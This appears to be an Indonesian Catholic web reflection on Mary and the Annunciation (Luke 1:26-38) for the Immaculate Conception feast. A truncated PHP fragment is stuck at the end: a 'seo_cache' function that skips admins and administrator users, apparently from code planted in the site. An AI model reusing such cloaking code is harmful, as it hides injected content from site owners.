humanities

Maria, Ibu yang Lembut Hati

×

Maria, Ibu yang Lembut Hati

Sebarkan artikel ini

BIBLE LEARNING

Senin, 09 Desember 2024 Hari Biasa Masa Adven II Hari Raya Santa Perawan Maria Dikandung Tanpa Noda Sumber

Inspirasi : ¤ Kejadian 3:9-15.20. ¤ Efesus 1:3-6.11-12. ¤ Lukas 1:26-38

HARI ini Gereja Semesta merayakan Hari Raya Santa Perawan Maria Dikandung Tanpa Noda. Maria membiarkan dirinya dibimbing Roh Kudus dalam peziarahan iman untuk melayani dan menghasilkan buah. Dewasa ini kita mengarahkan pandangan kepadanya dan memohon agar ia menolong kita dalam mewartakan pesan keselamatan untuk semua orang dan memampukan para murid yang baru, supaya pada gilirannya sungguh bisa menjadi pewarta Kabar Sukacita.

Bacaan Injil hari ini (Lukas 1:26-38) berbicara tentang Maria yang didatangi oleh seorang malaikat Tuhan dan memberikan kabar yang mengejutkan. “Salam, hai engkau yang dikaruniai, Tuhan menyertai engkau” (ay. 28). Mendengar apa yang dikatakan oleh malaikat itu, “Maria terkejut mendengar perkataan itu, lalu bertanya di dalam hatinya, apakah arti salam itu” (ay. 29). Dengan keterkejutan itu, sebenarnya Maria takut juga. Namun kemudian, malaikat mengatakan kepadanya supaya jangan takut. Mungkin kita sedikit bisa merekonstruksi atau berimajinasi kira-kira yang terjadi pada waktu itu seperti apa.

Seperti apapun imajinasi kita, yang jelas diceritakan oleh penginjil Lukas, malaikat mendatangi Maria dan memberitakan kabar sukacita bahwa ia akan mengandung seorang anak laki-laki. Fokus penginjil Lukas bukan pada perkara historis, namun ia hendak menunjukkan bahwa di dalam pemberitahuan itu peran Allah adalah pada kabar sukacita yang disampaikan pada Maria. Allah yang mempunyai inisiatif dan Allah juga yang akan mendampingi Maria sampai pada kesudahannya. Allah yang menjadi jaminan atas kabar sukacita yang mengejutkan itu.

Dalam benak pikiran kita, mungkin Maria bisa saja menolaknya dan tidak mau menerima kabar sukacita dari malaikat itu. Namun yang istimewa dan mengharukan, Maria menerima dengan sepenuh hati apa yang ia sendiri sebenarnya tidak mengerti. Yang dimengerti Maria, bahwa ia seorang hamba Tuhan yang siap menerima apa yang dihendaki Tuhan. Ia tidak mengerti apa maksud kabar sukacita itu, yang ia mengerti adalah mengimani rencana dan kehendak yang Ilahi.

Itulah kabar sukacita, Maria menerima dan mengimani rencana dan kehendak Tuhan, yakni sebuah rencana yang diberitakan malaikat. Pusat dari kabar sukacita ini adalah Yesus sendiri. Dengan begitu, kabar sukacita itu adalah kehadiran Yesus. Kabar yang disampaikan oleh malaikat pada Maria diimani menjadi kabar sukacita. Sukacita karena Allah senantiasa mendampingi manusia dan menawarkan keselamatan dalam nama Yesus.

Lalu, bagaimana dengan kita? Maria ibu yang lembut hati. Sikap Maria menerima kabar sukacita itu menjadi sikap konkrit, bahwa bagaimana kabar sukacita itu menjadi sikap seorang beriman Kristiani. Dalam situasi dan kondisi apapun diri kita, sukacita dalam Tuhan menjadi sumber harapan bagi hidup kita. Sukacita itu tidak jauh dari diri kita. Sukacita itu menjadi penuh karena dalam nama Yesus kita menerima rencana dan kehendak Tuhan dalam hidup kita. Meski tidak mengerti, Maria menerima kabar sukacita itu dan memelihara dalam hidupnya. Demikianpun dengan kita, sebagai seorang beriman kita hendaknya meneladan apa yang dilakukan Maria, menerima Yesus dalam hidup kita dan tetap memelihara hidup kita sebagai bagian rencana keselamatan Allah. Lupakanlah soal cita rasa, mari kita menghargai karunia Tuhan dalam hidup kita. (DT).

Good Luck GETTING BACK to Work

Shalom, Tuhan memberkati kita

@Dami Tiala Umat Lingk. Ratu Kenyo Ev. Gereja Paroki Santo Petrus & Paulus BABADAN Wedomartani, Sleman – Yogyakarta.

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>